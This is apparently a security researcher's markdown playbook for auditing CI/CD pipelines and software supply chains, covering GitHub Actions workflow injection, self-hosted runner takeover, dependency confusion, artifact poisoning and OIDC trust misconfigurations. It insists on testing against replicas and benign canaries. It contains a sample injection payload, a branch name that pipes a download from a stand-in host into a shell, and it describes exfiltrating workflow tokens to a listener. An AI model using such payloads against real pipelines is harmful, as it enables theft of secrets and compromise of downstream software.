● Zion Boggan
repos/Cyclops V2/vault/01-archetypes/cicd-supplychain.md
zionboggan.com ↗
133 lines · markdown
History for this file →
1
---
2
archetype: cicd-supplychain
3
primary_gate_families: [4, 5, 1]
4
---
5
 
6
# Archetype - CI/CD & Software Supply Chain
7
 
8
Targets: GitHub Actions workflows (and GitLab CI / CircleCI / Buildkite), self-hosted Actions runners,
9
package registries (npm/PyPI/Go/crates/Maven), artifact stores, signing pipelines. The thesis: the
10
build pipeline is the **softest path to the crown jewels** - it holds `GITHUB_TOKEN`, deploy keys,
11
cloud OIDC, signing keys, and registry-publish rights, and it *executes untrusted input by design*
12
(PR contents, fork branches, dependency code). One workflow-injection or one confusable dependency
13
compromises the org and everything it ships. [[../00-doctrine/SEVERITY-GATE#family-4-secret-key-repo-build-pipeline-compromise|Family 4]] / [[../00-doctrine/SEVERITY-GATE#family-5-supply-chain-dependency-compromise|Family 5]] / Family 1.
14
 
15
See: [[devops-infra]] (Jenkins/Argo runners), [[ml-model-loaders]] (ComfyUI nodes), [[electron-desktop]] (plugin registries).
16
Tooling: `audit_cicd`, `dependency_confusion`, `audit_supply_chain`, `clone_repo`, `joern_query`.
17
 
18
---
19
 
20
## Principals & trust boundaries
21
 
22
- **Principals:** an external PR/fork author (untrusted), a dependency author, the **workflow** (runs
23
  with repo/org tokens), the **runner** (the machine, often self-hosted and reused), the registry, the
24
  consumers who install the artifact.
25
- **Core boundaries:**
26
  1. *Untrusted PR/fork content → privileged workflow context* (the `pull_request_target` /
27
     `workflow_run` trust elevation - the canonical CI bug).
28
  2. *Workflow expression → shell* (the `${{ }}` injection into `run:`).
29
  3. *Dependency name → install/build* (dependency confusion / typosquat / postinstall exec).
30
  4. *Job → self-hosted runner host* (a job escaping to the persistent runner machine).
31
  5. *Build → published artifact → consumers* (artifact/signing poisoning, the widest blast radius).
32
 
33
**Boundary map template:**
34
```
35
principals:        external-PR-author | dependency-author | workflow(holds tokens) | runner-host | registry | consumers
36
trust inputs:      PR title/body/branch-name/labels, fork code, issue comments, the dependency tree,
37
                   package names, workflow_dispatch inputs, artifact contents, tags/releases
38
enforcement pts:   pull_request vs pull_request_target, permissions: block, secrets scoping,
39
                   OIDC trust policy, environment protection rules, runner isolation, registry
40
                   namespace ownership, signature verification
41
cross-boundary
42
sinks:             ${{ github.event.* }} interpolated into run: ; checkout of PR head in a
43
                   privileged trigger ; secrets.* / GITHUB_TOKEN reachable from injected step ;
44
                   npm/pip install of a confusable name ; postinstall/setup.py exec ;
45
                   self-hosted runner reuse ; publish/sign step
46
confusion
47
hypotheses:        "this pull_request_target workflow checks out & runs PR code with secrets in env";
48
                   "an attacker-controlled github context field flows into run: unquoted";
49
                   "this internal package name is unclaimed on the public registry";
50
                   "the runner is self-hosted and not ephemeral → persistence";
51
                   "OIDC trust policy is too broad (wildcard sub/repo)"
52
```
53
 
54
---
55
 
56
## Kill chains (each lands on a Gate family)
57
 
58
### KC-1 - Workflow expression injection → secret/token exfil (Family 4) *(prime)*
59
A workflow interpolates an attacker-controlled `github` context field (PR **title**, **body**,
60
**branch name**, issue **comment**, label) directly into a `run:` shell step. Because `${{ }}` is
61
substituted *before* the shell runs, a branch named `$(curl evil|sh)` (or backtick/`;` payloads)
62
executes on the runner - with `secrets` and `GITHUB_TOKEN` in the environment.
63
- **Sinks to CPG/grep across `.github/workflows/*`:** `run:` steps containing `${{ github.event.*.title }}`,
64
  `.body`, `.head.ref`, `github.head_ref`, `.comment.body`, `.pull_request.*`; plus `actions/github-script`
65
  with interpolated context.
66
- **The high-value variant: `pull_request_target` / `workflow_run`** - these triggers run with the
67
  **base repo's** secrets *and* (if the workflow checks out `github.event.pull_request.head.sha`) the
68
  **fork's code**. That combination = untrusted code with full secrets = `pwn-request`.
69
- **Oracle:** the injected step exfiltrates `GITHUB_TOKEN` / `secrets.*` to our listener (against our
70
  **own** canary repo for the replica), or callback from the runner → Family 4 / Family 1.
71
 
72
### KC-2 - Self-hosted runner takeover & persistence (Family 4 → 1)
73
Self-hosted runners on public repos are dangerous: a fork PR can run code on a **persistent, reused**
74
machine. Beyond the single job, the attacker can plant persistence, steal other jobs' secrets, or
75
pivot into the network the runner sits in.
76
- **Sinks:** any public-repo workflow with `runs-on: self-hosted`, non-ephemeral runner config,
77
  shared runner caches/tool-dirs, secrets left on disk between jobs.
78
- **Oracle:** command execution on the runner host + reading a *second* job's canary secret /
79
  network pivot artifact → Family 4 / Family 1.
80
 
81
### KC-3 - Dependency confusion / typosquat / install-time exec (Family 5)
82
An internal package name (`@acme/internal-utils`, `acme-config`) is referenced but **not owned on the
83
public registry**; the resolver pulls *our* public package of the same name and runs its
84
`postinstall` / `setup.py` / build script.
85
- **Sinks:** the install step, `package.json`/`requirements.txt`/`go.mod` names cross-checked against
86
  public-registry ownership; `preinstall`/`postinstall`, `setup.py`'s top-level code, Go `//go:generate`.
87
- **The gate discipline (Family 5 trap):** "the name is unclaimed" is SOURCE_CONFIRMED only. The
88
  finding is publishing a **benign canary** package and observing **our own / the in-scope** pipeline
89
  pull and execute it (callback). **Never** squat a name a non-consenting third party builds.
90
- **Oracle:** the canary package's install-time callback fires from the target's build → Family 5.
91
 
92
### KC-4 - Artifact / signing-pipeline poisoning (Family 5 → 4)
93
A flaw lets a malicious artifact be published or signed and accepted downstream - a release step that
94
trusts a fork-built artifact, a cache-poisoning of a shared build cache, or a leaked/forgeable signing
95
key (Family 4) used to sign a malicious artifact a verifier accepts.
96
- **Sinks:** the publish/release step, the signing step (cosign/sigstore/GPG key handling), shared
97
  cache keys derived from attacker input.
98
- **Oracle:** a malicious artifact we built is consumed-and-run downstream, or signed-and-verified by a
99
  verifier we don't control → Family 5/4.
100
 
101
### KC-5 - OIDC trust-policy over-breadth → cloud ATO (Family 3, bridges [[devops-infra]])
102
GitHub Actions OIDC federates into AWS/GCP/Azure. An over-broad trust policy (wildcard `sub`, missing
103
`repo`/`ref` condition) lets a fork or a different workflow assume a privileged cloud role.
104
- **Sinks:** the IAM/role trust policy's `sub` condition vs the workflow that can mint the OIDC token.
105
- **Oracle:** assuming the role from an unintended workflow + a benign privileged call → Family 3.
106
 
107
---
108
 
109
## The dynamic oracle, concretely
110
 
111
1. Fork/clone the target into our **own** GitHub org as a canary (replica-first - never test injection
112
   on a third party's live repo). Pin the workflow files.
113
2. For KC-1: open a PR on the canary with a payload branch-name/title; watch our listener for the
114
   token exfil. `audit_cicd` to enumerate injectable contexts first.
115
3. For KC-3: `dependency_confusion` to map unclaimed names; publish a **benign** canary package to a
116
   throwaway namespace and observe *our* pipeline (or explicitly in-scope pipeline) execute it.
117
4. REPLICA_CONFIRMED on the exfil/callback artifact. LIVE only with explicit program permission, and
118
   even then the canary must be benign and the secret a throwaway.
119
 
120
---
121
 
122
## BORING traps - do NOT spend time here
123
 
124
- **"This workflow uses `pull_request_target`."** A risky pattern is not a finding - many are safe
125
  (no checkout of head, no secret use). Prove the *secret exfil* artifact.
126
- **"This package name is unclaimed."** Claimability is SOURCE_CONFIRMED; consumption-and-execution is
127
  the finding. Don't report registry namespace squatting as if it were proven impact.
128
- **"A pinned action could be updated to a malicious tag."** Hypothetical future compromise of a
129
  third party is not your finding.
130
- **Squatting / publishing against a non-consenting org's pipeline.** Forbidden - replica/own-org only.
131
- **Secret-scanning regex hits in the repo.** A string that looks like a key is a hypothesis; prove
132
  it's live (Family 4 oracle) or it's cleared-axes.
133
- **Re-finding a public Actions-injection writeup's exact repo.** Sibling-CVE; hunt fresh workflows.